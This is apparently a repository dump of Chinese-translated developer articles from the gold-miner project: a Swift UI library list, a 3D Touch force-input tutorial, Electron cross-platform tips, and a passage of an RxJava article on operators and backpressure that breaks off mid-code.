![](https://cdn-images-1.medium.com/max/800/0*h3VFF1ffUXXR2ctT.png) * * * #### [**No 26**](https://github.com/hyperoslo/Hue?utm_source=mybridge&utm_medium=blog&utm_campaign=read_more) **Hue: 万能的颜色工具,以后再也不用写 Swift 代码啦[Github 上有 1612 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*ajcIoqEF96b6_d_9.png) * * * #### [**No 27**](https://github.com/yannickl/DynamicColor) **DynamicColor: 更简单的控制颜色的 Swift 拓展插件[Github 上有 1310 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*QHF4a2BHbeW60x6z.png) ![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png) ### #### [**No 28**](https://github.com/BeauNouvelle/FaceAware) **FaceAware:这个插件帮助 UIImageView 将中心聚焦到照片的脸上,前提是这个照片使用了 AspectFill [Github 上有 1424 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*BcUcL7F5axoySUSs.png) * * * #### [**No 29**](https://github.com/gkye/ComplimentaryGradientView) **ComplimentaryGradientView: 通过源图片的主要颜色生成颜色渐变[Github 上有 384 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*NspyRgd8zPEW_lZ_.png) ![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png) ### #### [**No 30**](https://github.com/danielgindi/Charts) **Charts: iOS 应用的漂亮图表[Github 上有 11433 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*4UgiG5eUyki5J5jp.png) * * * #### [**No 31**](https://github.com/philackm/Scrollable-GraphView) **Scrollable-GraphView:针对于 iOS 应用的自适应滚动图形,用于将离散的数据集进行可视化[Github 上有 3065 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*P10QB9udMbI8suPE.gif) ![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png) ### #### [**No 32**](https://github.com/Ramotion/paper-switch) **Paper Switch:这是一个 Swift 的模块组件,当页面中的开关打开后该页面填充底色[Github 上有 1849 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*RHln1_4XtNI12htk.gif) * * * #### [**No 33**](https://github.com/Ramotion/circle-menu) **Circle Menu:简单优雅的环形布局菜单[Github 上有 1768 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*o5YykfpI55gbLu1N.gif) ![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png) ### #### [**No 34**](https://github.com/patchthecode/JTAppleCalendar) **JTAppleCalendar: 非正式的 Swift Apple 日历库。可查看、操作。适用于 iOS 和 tvOS [Github 上有 1026 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/1*hX1pCnv8BXCBy2aFRV9mwg.gif) * * * #### [**No 35**](https://github.com/itsmeichigo/DateTimePicker) **DateTimePicker: 一个漂亮的用于选择时间和日期的iOS UI 组件[Github 上有 455 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*hdfLv7NTX8kYmj5M.png) ![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png) ### #### [**No 36**](https://github.com/xmartlabs/Eureka) **Eureka: 优雅的 iOS 表格组件[Github 上有 4117 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*G09IlkFncNzugk19.png) ![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png) ### #### [**No 37**](https://github.com/mamaral/Neon) **Neon:适用于 iPhone 和 iPad ,更强大 UI 布局框架[Github 上有 3439 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*A1UJvTEZj0jpyUiw.png) ![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png) ### #### [**No 38**](https://github.com/eBay/NMessenger) **NMessenger: 更快更轻量级的消息组件,构建于 AsyncDisplaykit 并且由 Swift 编写[Github 上有 1492 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*yCItfGGz3VARz968.png) ![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png) ### #### [**No 39**](https://github.com/ramotion/reel-search) **Reel-search:带有模糊搜索的搜索组件[Github 上有 1364 个 stars]。** ![](https://cdn-images-1.medium.com/max/800/0*R-1gX6buTURIFhsl.gif) ![](https://cdn-images-1.medium.com/max/800/1*wpDDr9y_PLz_KUXF6B2_ig.png) ### 资源 #### [No 1) 学习](https://goo.gl/lhGClQ) ![](https://cdn-images-1.medium.com/max/600/1*f6aNZSu1PcblXFQT4FgHGQ.png) [所有的 iOS 10 编程课程: 开发 21 个应用包括Uber、Instagram 和 Tinder](https://goo.gl/lhGClQ) **[22,575 次推荐, 4.7/5 评分]** #### [No 2) 面试](https://goo.gl/xlvQ4y) ![](https://cdn-images-1.medium.com/max/600/1*nV0BA-f3OOWrzWQYW_5J_A.png) [软件工程师面试的答疑解惑: 学习往期的谷歌面试](https://goo.gl/xlvQ4y) **[210 次推荐, 4.8/5 评分]** #### [No 3) 建立网站](https://goo.gl/zWn3Pw) ![](https://cdn-images-1.medium.com/max/600/1*2QZq0xQA-0YDVB03T6iy1g.png) [给那些想在 5 分钟内建立网站的人](https://goo.gl/zWn3Pw) **[最便宜的一个]** ![](https://cdn-images-1.medium.com/max/2000/1*pQ2wBDU_8uUMEzJezF5mSg.png) 以上就是我说的开源 Swift UI 库。如果你喜欢这篇文章,快来下载我们的 [**iOS App.**](https://goo.gl/dJi5H6) 每天阅读基于你使用的编程语言的 10 篇文章。 ================================================ FILE: TODO/3d-force-touch-beyond-peek-pop.md ================================================ > * 原文链接: [3D Force Touch: beyond peek & pop](https://medium.com/produkt-blog/3d-force-touch-beyond-peek-pop-c448edc2b1f5#.4miueafqm) * 原文作者 : [Victor Baro](https://medium.com/@victorbaro) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [shiguol(SAlex)](https://github.com/shiguol) * 校对者 : [cdpath (cdpath)](https://github.com/cdpath) [nathanwhy (nathan)](https://github.com/nathanwhy) * 状态 : 完成 # 3D Force Touch 的新玩儿法 几天前我买了部 iPhone 6S,接着我被 **3D touch** 功能深深地吸引住了,于是迫不及待地体验了一番。 在一个应用程序中,Peek 和 pop 是一个很出彩的特性。不过话说回来:我们没有太多的控制权。我们只能添加一个预览功能和几个动作 - iOS 系统会管理剩下的工作。 因为我探索了 _3D Touch_ 功能,就一直在思考与内容互动的新方式。Peek 和 pop 是一个很好的交互方式; 但我真正想要的是创建自定义的控制技术。 我们需要考虑的是,由于 _3D touch_ 仅在 iPhone 6S 和 6S Plus 上提供,所以不应该存在**仅**能使用该动作执行的功能。用户应不依赖 _3D touch_ 也可以完成所有功能(就像使用 Peek 和 pop 实现的一样), 而 _3D touch_ 最好只提供额外的交互体验。 #### 访问 force 属性 新的 force 属性在 UITouch 类中。如果想获得用户 _touch_ 事件,我们应该重写 _touches_ 相关方法(类如:touchesBegan, touchesMoved, touchesEnded), 或者继承相关类(例如 UIView,UIButton;见例1),抑或继承实现一个手势(见下文,例 2 和 例 3); import UIKit.UIGestureRecognizerSubclass class ForceGestureRecognizer: UIGestureRecognizer { var forceValue: CGFloat = 0 override func touchesBegan(touches: Set, withEvent event: UIEvent) { super.touchesBegan(touches, withEvent: event) state = .Began handleForceWithTouches(touches) } override func touchesMoved(touches: Set, withEvent event: UIEvent) { super.touchesMoved(touches, withEvent: event) state = .Changed handleForceWithTouches(touches) } override func touchesEnded(touches: Set, withEvent event: UIEvent) { super.touchesEnded(touches, withEvent: event) state = .Ended handleForceWithTouches(touches) } func handleForceWithTouches(touches: Set) { if touches.count != 1 { state = .Failed return } guard let touch = touches.first else { state = .Failed return } forceValue = touch.force } } 在这里,我们可以看到 force 属性值介于 0.0 ~ 6.667 之间;关于该值的更多讨论,推荐看这篇文章[探索 Apple`s 3D Touch](https://medium.com/@rknla/exploring-apple-s-3d-touch-f5980ef45af5). #### 例 1: Force Button **Force Button** 是 UIButton 的子类,可根据按压的力量变化来修改按钮的阴影属性(见文章开头处视频)。 func shadowWithAmount(amount: CGFloat) { self.layer.shadowColor = shadowColor.CGColor self.layer.shadowOpacity = shadowOpacity let widthFactor = maxShadowOffset.width/maxForceValue let heightFactor = maxShadowOffset.height/maxForceValue self.layer.shadowOffset = CGSize(width: maxShadowOffset.width - amount * widthFactor, height: maxShadowOffset.height - amount * heightFactor) self.layer.shadowRadius = maxShadowRadius - amount } 上面的函数依据按压力的大小来修改按钮的阴影。你可以找到另外一个例子,解释了如何依据按压力的大小来缩放按钮,[文章在这里](https://github.com/Produkt/3dForceTouchExamples)。 这个按钮使用 _3D touch_ 技术只实现了视觉上的反馈,它没有任何额外的功能。其实,它可以在用户用力按压按钮时系统回调的事件(如 _UIControlEvents.ForceMaxInside)中进行我们自己额外的事件响应。 #### Example 2: Zooming 我们都是用来双指的捏来实现放大和缩小,这样操作起来感觉自然。然而,有时候当你单手拿着手机时,双指缩放手势操作起来会感觉怪怪的。谷歌地图应用程序尝试通过使用 _doble-tap-longPress-drag_ 手势来解决这个的问题(这感觉怪怪的,如果你不使用它)。 当使用 ForceGestureRecognizer 手势时(见上面的代码),该手势在你拖拽时也很容易放大和缩小。如果你有一个 iPhone6S 可以试一试,这感觉太棒了。 为了达到这个效果,我简单地应用一个 CATransform3D 缩放效果到 ImageView 的层。这样,图像从它的中心进行缩放。通过按住并移动我的手指(缩小到一个特定的区域),我就可以根据手指的位置更新图片的锚点。 func imagePressed(sender: ForceGestureRecognizer) { let point = sender.locationInView(self.view) let imageCoordPoint = CGPointMake(point.x - initialFrame.origin.x, point.y - initialFrame.origin.y) var xValue = max(0, imageCoordPoint.x / initialFrame.size.width) var yValue = max(0, imageCoordPoint.y / initialFrame.size.height) xValue = min(xValue, 1) yValue = min(yValue, 1) let anchor = CGPointMake(xValue, yValue) mainImageView.layer.anchorPoint = anchor let forceValue = max(1, sender.forceValue) mainImageView.layer.transform = CATransform3DMakeScale(forceValue, forceValue, 1) if sender.state == .Ended { mainImageView.layer.anchorPoint = CGPointMake(0.5, 0.5) mainImageView.layer.transform = CATransform3DIdentity } } 最后一个关于 _3D_touch_ 的交互特性我觉得就是**控制动画**了.不过,实话说,我还没有发现这种相互作用的任何有趣的用途(不是作为精细调谐),但我想提一提它(有人可能会发现它很有用)。 这里有一个动画视频是由 _3D_touch_ 进行的控制。 这里还有给设计师和工程师的一些示例演示了使用 _3D_touch_ 进行交互的方法。我希望我已经说服你去尝试 _3D_touch_。 我想通过推荐[FlexMonkey 的博客](http://flexmonkey.blogspot.com.es)最新文章:[3D Retouch](http://flexmonkey.blogspot.com.es/2015/10/3D-retouch-experimental-retouching-app.html),在这篇文章中,他使用 3D Touch 修改滤镜的强度。 整个项目在这里[github](https://github.com/Produkt/3dForceTouchExamples)。 _特别感谢 @pivalue_ ================================================ FILE: TODO/4-must-know-tips-for-building-cross-platform-electron-apps.md ================================================ > * 原文地址:[4 must-know tips for building cross platform Electron apps](https://blog.avocode.com/blog/4-must-know-tips-for-building-cross-platform-electron-apps) * 原文作者:[Kilian Valkhof](https://blog.avocode.com/authors/kilian-valkhof) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[huanglizhuo](https://github.com/huanglizhuo/) * 校对者:[DeadLion](https://github.com/DeadLion) , [zhouzihanntu](https://github.com/zhouzihanntu) # 开发 Electron app 必知的 4 个 tips [Electron](https://electron.atom.io) ,是包括 Avocode 在内的众多 app 采用的技术,能让你快速实现并运行一个跨平台桌面应用。有些问题不注意的话,你的 app 很快就会掉到“坑”里。无法从其它 app 中脱颖而出。 这是我 2016 年 5月 在 Amsterdam 的 Electron Meetup 上演讲的手抄版,加入了对 api 变化的考虑。注意,以下内容会很深入细节,并假设你对 Electron有一定了解。 **首先,我是谁** 我是 Kilian Valkhof ,一个前端工程师,UX 设计师,app 开发者,取决于你的提问对象是谁。我有超过10年的互联网从业经验,在各种环境下构建过桌面应用,比如 GTK 和 QT ,当然也包括 Electron。 你或许应该试试我最近开发的一个自动保存笔记的免费跨平台应用 [Fromscratch](https://fromscratch/) 。 在 Fromscratch 的开发过程中,我花了大量时间确保应用在三大平台上都能保持良好运行,并找到了在 Electron 中的实现方法。这些都是我挖坑填坑过程中积累起来的。 使用 Electron 让 app 使用感和一致性良好并不难,你只需要注意以下细节。 ## **1\. 在 macOS 上复制粘贴** 想象一下,你发布了一款记笔记的应用。你在 Linux 机器上进行了多次使用和测试,然而你在 ProductHunt 上收到了一个友善的消息: ![cp.png](https://lh6.googleusercontent.com/TlfwI6UWMb7sFhVU-KIE3C25bBcl0EIPm50HGgHnXDhY0NBGRjzgiNGfM3u3pzGgXvctkKaqBIp6BTIfo2bQuaA7oY1_pNmlYclk44qW-afSILxCIALGu2-KJYBlaZL0FM_DgkM4) if (process.platform === 'darwin') { var template = [{ label: 'FromScratch', submenu: [{ label: 'Quit', accelerator: 'CmdOrCtrl+Q', click: function() { app.quit(); } }] }, { label: 'Edit', submenu: [{ label: 'Undo', accelerator: 'CmdOrCtrl+Z', selector: 'undo:' }, { label: 'Redo', accelerator: 'Shift+CmdOrCtrl+Z', selector: 'redo:' }, { type: 'separator' }, { label: 'Cut', accelerator: 'CmdOrCtrl+X', selector: 'cut:' }, { label: 'Copy', accelerator: 'CmdOrCtrl+C', selector: 'copy:' }, { label: 'Paste', accelerator: 'CmdOrCtrl+V', selector: 'paste:' }, { label: 'Select All', accelerator: 'CmdOrCtrl+A', selector: 'selectAll:' }] }]; var osxMenu = menu.buildFromTemplate(template); menu.setApplicationMenu(osxMenu); } 如果你已经有了菜单,你需要将以上 剪切/复制/粘贴 命令添加到你的已有菜单中。 ### 1.1 添加 icon ...否则你的应用在 ubuntu 上就是这样的: ![icon.png](https://lh3.googleusercontent.com/hgM2iMDPsJDn-QbmIwi6TlaBygW7twHNplrfrUrGk8lp-ilSDg81t42hT7jgYjrS58PA9undzhXds-NdXxmoE5HQ6dfVie-k2WqLJL6xN8o0UIkgH3RSTY3byGzlMOx5uv5dySvF) 许多应用都有这样的问题,因为在 Windows 和 macOS 系统上,任务栏或 dock 中显示的图标就是应用图标(一个 .ico 或者 .icns),而在 Ubuntu 系统上显示的却是你的窗口图标。 。添加这个很简单。在 `BrowserWindow` 选项中,申明 icon: mainWindow = new BrowserWindow({ title: 'ElectronApp', *icon: __dirname + '/app/assets/img/icon.png',* }; 这也会让你的 Windows app 左上角显示一个小图标。 ### 1.2 UI Text 不可选 当使用浏览器,文字编辑工具,或者其它原生应用时,你应该注意到你不可以选择菜单上的文字,比如 chrome。在 Electron 中让 app 变的怪异的一个方法就是无意中触发了文字选择,或者高亮了 UI 组件。 CSS 在这里可以帮助我们:向所有按钮,菜单,或者其它任何 UI 元素,添加下面的代码: .my-ui-text { *-webkit-user-select:none;* } 这样文字就不可选了。它更像原生应用了。一个最简单的测试方法就是 ctrl/cmd + A 选中你的应用中所有可选的文字,可以有助于你快速识别哪些还需要添加这个效果。 ### 1.3 你需要在三大平台上分别使用三种图标 说实在的,这真是太不方便了,在 Windows 上你需要 .ico 文件,在 macOS 上你需要 .icns 文件,而在 Linux 上你需要 .png 文件。 ![facepalm.jpg](https://lh6.googleusercontent.com/_f669yBlzhJADMhMhrZtR3pwIRg5GhSmIHd_CvDWg_hL6UnpwfoxXHZ37Wl6XW4uBMzw8df2PNJeQsIQnkVO6LTrXyYduBljhCbel0SkU05DAlrR8rD1jRnrtRl_XDFtsKJEC6hl) 幸运的是普通的 png 图可以生成另俩个 icon。下面这是最方便的做法: 1\. 制作一张 1024x1024 像素的 PNG,这意味着你已近完成 1/3 的工作了。 (Linux, check!) 2\.  对于 Windows,用 [icotools](http://www.nongnu.org/icoutils/) 生成 .ico:    `icontool -c icon.png > icon.ico` 3\.  对于 macOS,用 png2icns 生成 icns:    `png2icns icon.icns icon.png` 4\. 完成了! 在 macOS 上也有像 [img2icns](http://www.img2icnsapp.com/) 这样的 GUI 工具,或者 [iconverticons](https://iconverticons.com/online/) 这样的 web 工具,但我并没有用过。 ### 1.4 意外之喜! electron-packager 不需要额外的 icon 来为给定的平台选择正确的图标: $ electron-packager . MyApp *--icon=img/icon* --platform=all --arch=all --version=0.36.0 --out=../dist/ --asar 好吧,我是写完构建针对不同版本选用不同 icon 脚本之后才发现的 :( ## **2\. 白色 loading 状态是属于浏览器行为** 没有什么比白色的 loading 更能代表 Electron app 只是个内嵌浏览器的本质了。不过我们可以通过两种手段来避免 loading 状态: ### 2.1 指定 BrowserWindow 背景颜色 如果你的应用没有白色背景,那么一定要在 BrowserWindow 选项中明确声明。这并不会阻止应用加载时的纯色方块,但至少它不会半路改变颜色: mainWindow = new BrowserWindow({ title: 'ElectronApp', *backgroundColor: '#002b36',* }; ### 2.2 在你应用加载完成前隐藏它: 因为应用实际上是在浏览器中运行的,我们可以选择在所有资源加载完成前隐藏窗口。在开始前,确保隐藏掉浏览器窗口: var mainWindow = new BrowserWindow({ title: 'ElectronApp', *show: false,* }; 然后在所有东西都加载完成时,显示窗口并聚焦在上面提醒用户。这里推荐使用 `BrowserWindow` 的 "ready-to-show" 事件实现,或者用 webContents 的 'did-finish-load' 事件。 mainWindow.on('ready-to-show', function() { mainWindow.show(); mainWindow.focus(); }); 这里记得要调用 foucs ,提醒用户你的应用已经加载完成了。 ## **3\. 保持窗口的大小和位置** 这个问题在很多原生应用中也存在,我发现这是最令人头疼的事情之一。本来一个位置处理很好的 app 在重启时所有的位置又变为默认的了,虽然这对于开发者来说是很合理的,但这会让人有种想撞墙的冲动。千万不要这样做。 相反,保存窗口的大小和位置,并在每次重启时恢复,你的用户会很感激的。 ### 3.1 预编译方案 有 [electron-window-state](https://www.npmjs.com/package/electron-window-state) 和 [electron-window-state-manager](https://www.npmjs.com/package/electron-window-state-manager) 两种预编译方案。两种都能用,好好读文档并且小心边界情况,比如最大化你的应用。如果你很想快一点编译完成并看到成品,你可以采用这两种方案。 ### 3.2 自己处理滚动 你可以自己处理滚动,这也正是我用的方案,主要是基于我前几年给 [Trimage](https://trimage.org) 写的代码的基础上实现的。并不需要写很多的代码,而且可以给你很多控制权。下面是演示: #### 3.2.1 把状态保存起来 首先我们得把应用的位置和大小保存在某个地方。用 [Electron-settings](https://github.com/nathanbuchar/electron-settings) 可以轻松做到这一点,但我选择用 [node-localstorage](https://www.npmjs.com/package/node-localstorage) 因为它更简单。 var JSONStorage = require('node-localstorage').JSONStorage; var storageLocation = app.getPath('userData'); global.nodeStorage = new JSONStorage(storageLocation); 如果你把数据保存到 _`getPath('userData')`_ , electron 将会把它保存到自己的应用设置里,在 _`~/.config/YOURAPPNAME`_ 位置,在 Windows 上就是你的用户文件夹下的 appdata 文件夹中。 #### 3.2.2 打开应用时恢复你的状态 var windowState = {}; try { windowState = global.nodeStorage.getItem('windowstate'); } catch (err) { // the file is there, but corrupt. Handle appropriately. } 当然了,第一次启动的时是不可行,你得处理这种情况。可以提供默认设置,一旦你在 JavaScript 对象中获取到了前一次的状态,就使用保存的状态信息去设置 BrowserWindow 的大小: var mainWindow = new BrowserWindow({ title: 'ElectronApp', x: windowState.bounds && windowState.bounds.x || undefined, y: windowState.bounds && windowState.bounds.y || undefined, width: windowState.bounds && windowState.bounds.width || 550, height: windowState.bounds && windowState.bounds.height || 450, }); 正如你看到的那样,我通过提供回退值来添加默认设置。 现在在 Electron 中,在开启应用时并不能以最大化状态启动应用,因此我们得在创建好 BrowserWindow 之后再最大化窗口。 // Restore maximised state if it is set. // not possible via options so we do it here if (windowState.isMaximized) { mainWindow.maximize(); } #### 3.2.3 在 move resize 和 close 时保存状态: 在理想世界中你只需要在关闭应用时保存你的窗口状态,但事实上它错过了很多未知原因导致的应用终止事件,比如断电之类的。 在每次 move resize 事件时获取和保存状态可以让我们可以恢复上次已知状态的位置和大小。 ['resize', 'move', 'close'].forEach(function(e) { mainWindow.on(e, function() { storeWindowState(); }); }); And the storeWindowState function: var storeWindowState = function() { windowState.isMaximized = mainWindow.isMaximized(); if (!windowState.isMaximized) { // only update bounds if the window isn't currently maximized windowState.bounds = mainWindow.getBounds(); } global.nodeStorage.setItem('windowstate', windowState); }; storeWindowState 函数有个小小的问题:如果你最小化一个最大化状态的原生窗口时,它会恢复到前一个状态,这意味着本来我们想要保存的是最大化的状态,但我们并不想覆盖掉前一个窗口的大小(没有最大化的窗口),因此如果你最大化,关闭,重新打开,取消最大化,这时应用的位置是你最大化之前的位置。 ## **4\. 一些小贴士** 下面是一些很小很简短有用的小技巧。 ### 4.1 快捷键 通常来讲 Windows 和 Linux 使用 Ctrl,而 macOS 用 Cmd 。为了避免给每个快捷键(在 Electron 这叫做加速器 _Accelerator_ )添加两次,你可以用 "CmdOrCtrl" 一次性给所有的平台进行设置。 ### 4.2 使用系统字体 San Francisco 用系统默认的字体意味着你的应用可以和操作系统看起来很和谐。为了避免给每个系统都单独设置字体,你可以用下面的 CSS 代码块速实现更随系统字体: body { font: caption; } "caption" 是 CSS 中关键字,它会连接到系统指定字体。 ### 4.3 系统颜色 和系统字体一样,你也可以用 [System colors](http://www.sitepoint.com/css-system-styles/) 让系统决定你应用的颜色。这其实是一个在 CSS3 中已经弃用的未完全实现的属性,但在可见的未来中它并不会被很快废弃。 ### 4.4 布局 CSS 是个相当强大的布局方式,尤其是把 `calc()` 和 flexbox 结合到一起时,但这并不会减少在像 GTK, Qt 或者 Apple Autolayout 这类老旧的 GUI 框架中需要做的工作。你可以用 [Grid Stylesheets](https://gridstylesheets.org/)(这是一个基于约束的布局系统) 采用类似的方式实现你 app 的 GUI 。 ## **感谢!** 在 Electron 中构建应用是一件很有趣的事情并且会让你有很多的收获 : 你可以在很短的时间内实现并运行一个跨平台的应用。如果你之前从没有用过 Electron 我希望这篇文章可以引起你足够的兴趣去尝试它。很多的收获[Electron](http://electron.atom.io) 的网站有很全的文档以及很多很酷的 Demo 可以让你尝试它的 API 如果你已经在写 Electron 应用了,我希望上面的可以鼓励你更多的考虑你的 app 在所有平台上究竟运行的怎么样。 最后,有什么其他的小贴士,请把它写在评论区。 ================================================ FILE: TODO/5-not-so-obvious-things-about-rxjava.md ================================================ > * 原文地址:[5 Not So Obvious Things About RxJava](https://medium.com/@jagsaund/5-not-so-obvious-things-about-rxjava-c388bd19efbc#.kf2q0gksm) > * 原文作者:[Jag Saund](https://medium.com/@jagsaund) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者: [skyar2009](https://github.com/skyar2009) > * 校对者:[Danny1451](https://github.com/Danny1451), [yunshuipiao](https://github.com/yunshuipiao) ![](https://cdn-images-1.medium.com/max/2000/1*0VDGLZYyQhUFBa9ZkFiHEQ.jpeg) # 震惊!RxJava 5 个不为人知的小秘密 无论你是刚刚接触 RxJava,还是已经使用过一段时间,关于 RxJava 你总会有些新的知识要学。在使用 RxJava 框架过程中,我发现了 5 点不那么明显的知识,使我可以充分挖掘它的潜能。 **注释** 本文引用的 APIs 是基于 **RxJava 1.2.6** ### 1. 什么时候使用 map,什么时候使用 flatMap [map](http://reactivex.io/documentation/operators/map.html) 和 [flatMap](http://reactivex.io/documentation/operators/flatmap.html) 是常用的两个 ReactiveX 操作。它们往往是你最先接触的两个操作,并且很难确定使用哪个是正确的。 **map** 和 **flatMap** 都是对 Observable 发出的每一个元素执行转换方法。但是,**map** 只输出一个元素,**flatMap** 输出 0 或多个元素。 ![](https://cdn-images-1.medium.com/max/800/1*hKc_cjAvfr4RqeMcyDbRkw.png) 在上面的例子中,`map` 操作对每一个字符串执行了 `split` 方法并输出了一个包含字符串数组的元素。当你想将一个元素转换成另一个时使用 `map`。 有些时候,我们执行的方法返回多个元素,并且我们希望将他们添加到同一个流中。这种情况下,`flatMap` 是一个好的选择。在上面的例子中 `flatMap` 操作将字符串数组处理后输出到了同一个序列。 ### 2. 避免使用 Observable.create(…) 创建 Observable 有些时候你需要将同步或异步的 API 转成响应式的 API。使用 [Observable.create](http://reactivex.io/documentation/operators/create.html) 看起来是个极具诱惑性的选择,但它有如下要求: - 当取消 Observable 订阅时需要注销回调 (否则会造成内存泄露) - 只有当有订阅者订阅时才能使用 onNext 或 onCompleted 发送事件 - 使用 onError 向上游传递错误 - 处理背压 很难正确的实现以上要求,幸运的是,你可以不这么做。有一些静态工具方法可以帮你解决: **syncOnSubscribe** 一个可以创建安全 `OnSubscribe` 的工具,它创建的 `OnSubscribe` 能够正确地处理来自订阅者的背压请求。当你需要将一个同步获取式的阻塞 API 转成响应式 API 时可以使用。 ``` public Observable readFile(@NonNull FileInputStream stream) { final SyncOnSubscribe fileReader = SyncOnSubscribe.createStateful( () -> stream, (stream, output) -> { try { final byte[] buffer = new byte[BUFFER_SIZE]; int count = stream.read(buffer); if (count < 0) { output.onCompleted(); } else { output.onNext(buffer); } } catch (IOException error) { output.onError(error); } return stream; }, s -> IOUtil.closeSilently(s)); return Observable.create(fileReader); } ``` **fromCallable** 一个静态工具,可以对简单的同步 API 进行封装并将之转化成响应式 API。更赞的是,`fromCallable` 也可以处理检查到的异常。 ``` public Observable enablePushNotifications(boolean enable) { return Observable.fromCallable(() -> sharedPrefs .edit() .putBoolean(KEY_PUSH_NOTIFICATIONS_PREFS, enable) .commit()); } ``` **fromEmitter** 一个静态工具,对异步 API 进行封装并可以管理 Observable 被取消订阅时释放的资源。不像 `fromCallable`,你可以输出多个元素。 ``` import android.bluetooth.le.BluetoothLeScanner; import android.bluetooth.le.ScanCallback; import android.bluetooth.le.ScanResult; import android.support.annotation.NonNull; import rx.Emitter; import rx.Observable; import java.util.List; public class RxBluetoothScanner { public static class ScanResultException extends RuntimeException { public ScanResultException(int errorCode) { super("Bluetooth scan failed. Error code: " + errorCode); } } private RxBluetoothScanner() { } @NonNull public static Observable scan(@NonNull final BluetoothLeScanner scanner) { return Observable.fromEmitter(scanResultEmitter -> { final ScanCallback scanCallback = new ScanCallback() { @Override public void onScanResult(int callbackType, @NonNull ScanResult result) { scanResultEmitter.onNext(result); } @Override public void onBatchScanResults(@NonNull List results) { for (ScanResult r : results) { scanResultEmitter.onNext(r); } } @Override public void onScanFailed(int errorCode) { scanResultEmitter.onError(new ScanResultException(errorCode)); } }; scanResultEmitter.setCancellation(() -> scanner.stopScan(scanCallback)); scanner.startScan(scanCallback); }, Emitter.BackpressureMode.BUFFER); } } ``` ### 3. 如何处理背压 有时,Observable 产生事件过快以至于下游观察者跟不上它的速度。当这种情况发生时,你往往会遇到 `MissingBackpressureException` 异常。 ![](https://cdn-images-1.medium.com/max/800/1*G-yJQ_ururyvMGkGRA3eAw.png) RxJava 提供了一些方法管理背压,但是具体使用哪一种需要视情况而定。 **冷、热 Observable** 只有当有订阅时,冷 Observable 才会发送元素。观察者订阅冷 Observable 可以控制发送事件的速度而不需要牺牲流的完整性。冷 Observable 例子有:读文件、数据库查询、网络请求以及静态迭代器转成的 Observable。 热 Observable 是连续的事件流,它的发出不依赖订阅者的数量。当一个观察者订阅了 Observable,那么它将面临下面的一种情况: - 收到所有事件子集的重放 - 收到所有事件的重放 - 收到新的事件 热 Observables 例子有:触摸事件、通知以及进度更新。 由于热 Observable 发出事件的本性,我们不能控制它的速度。例如,你不能降低触摸事件发出的速度。因此,最好是使用 `BackpressureMode` 提供的流控制策略。 使用一个响应式获取方法,冷 Observable 可以根据观察者的反馈降低发送速度。更多知识,请看 ReactiveX 文档的[背压与响应式获取方法](https://github.com/ReactiveX/RxJava/wiki/Backpressure). **BackpressureMode.NONE 和 BackpressureMode.ERROR** 在这两种模式中,发送的事件不是背压。当被观察者的 16 元素缓冲区溢出时会抛出 `MissingBackpressureException`。 ![](https://cdn-images-1.medium.com/max/800/1*Wexx6Cgpqhgwr_rQnGUjIw.png) **BackpressureMode.BUFFER** 在这种模式下,有一个无限的缓冲区(初始化时是 128)。过快发出的元素都会放到缓冲区中。如果缓冲区中的元素无法消耗,会持续的积累直到内存耗尽。结果是 `OutOfMemoryException` 异常。 ![](https://cdn-images-1.medium.com/max/800/1*7YWjJNYa1Qgzrxjdottmzg.png) **BackpressureMode.DROP** 这种模式是使用固定大小为 1 的缓冲区。如果下游观察者无法处理,第一个元素会缓存下来后续的会被丢弃。当消费者可以处理下一个元素时,它收到的将是 Observable 发出的第一个元素。 ![](https://cdn-images-1.medium.com/max/800/1*Lc_olwX6t_KDWp1wXShXMg.png) **BackpressureMode.LATEST** 这种模式与 `BackpressureMode.DROP` 类似,因为它也使用固定大小为 1 的缓冲区。然而,不是缓存第一个元素丢弃后续元素,`BackpressureMode.LATEST` 而是使用最新的元素替换缓冲区缓存的元素。当消费者可以处理下一个元素时,它收到的是 Observable 最近一次发送的元素。 ![](https://cdn-images-1.medium.com/max/800/1*3DRYVExZDiutRZpzaFx2xQ.png) ### 4. 如何防止无意的结束流错误 RxJava 通过给 Observable 序列发送 `onError` 通知不可恢复的错误,并且会结束序列。 有时,你不希望结束序列。对于这种情况,RxJava 提供了几种不会结束序列的错误处理方法。 RxJava 提供了许多错误处理方法,但是有时你不希望结束序列。尤其是涉及到主题时。 **onErrorResumeNext** 使用 [onErrorResumeNext](http://reactivex.io/RxJava/javadoc/rx/Observable.html#onErrorResumeNext%28rx.Observable%29) 可以拦截 `onError` 并返回一个 Observable。或者对错误信息添加附加信息并返回一个新的错误,或者发送给 `onNext` 一个新的事件。 ``` public Observable search(@NotNull EditText searchView) { return RxTextView.textChanges(searchView) // In production, share this text view observable, don't create a new one each time .map(CharSequence::toString) .debounce(500, TimeUnit.MILLISECONDS) // Avoid getting spammed with key stroke changes .filter(s -> s.length() > 1) // Only interested in queries of length greater than 1 .observeOn(workerScheduler) // Next set of operations will be network so switch to an IO Scheduler (or worker) .switchMap(query -> searchService.query(query)) // Take the latest observable from upstream and unsubscribe from any 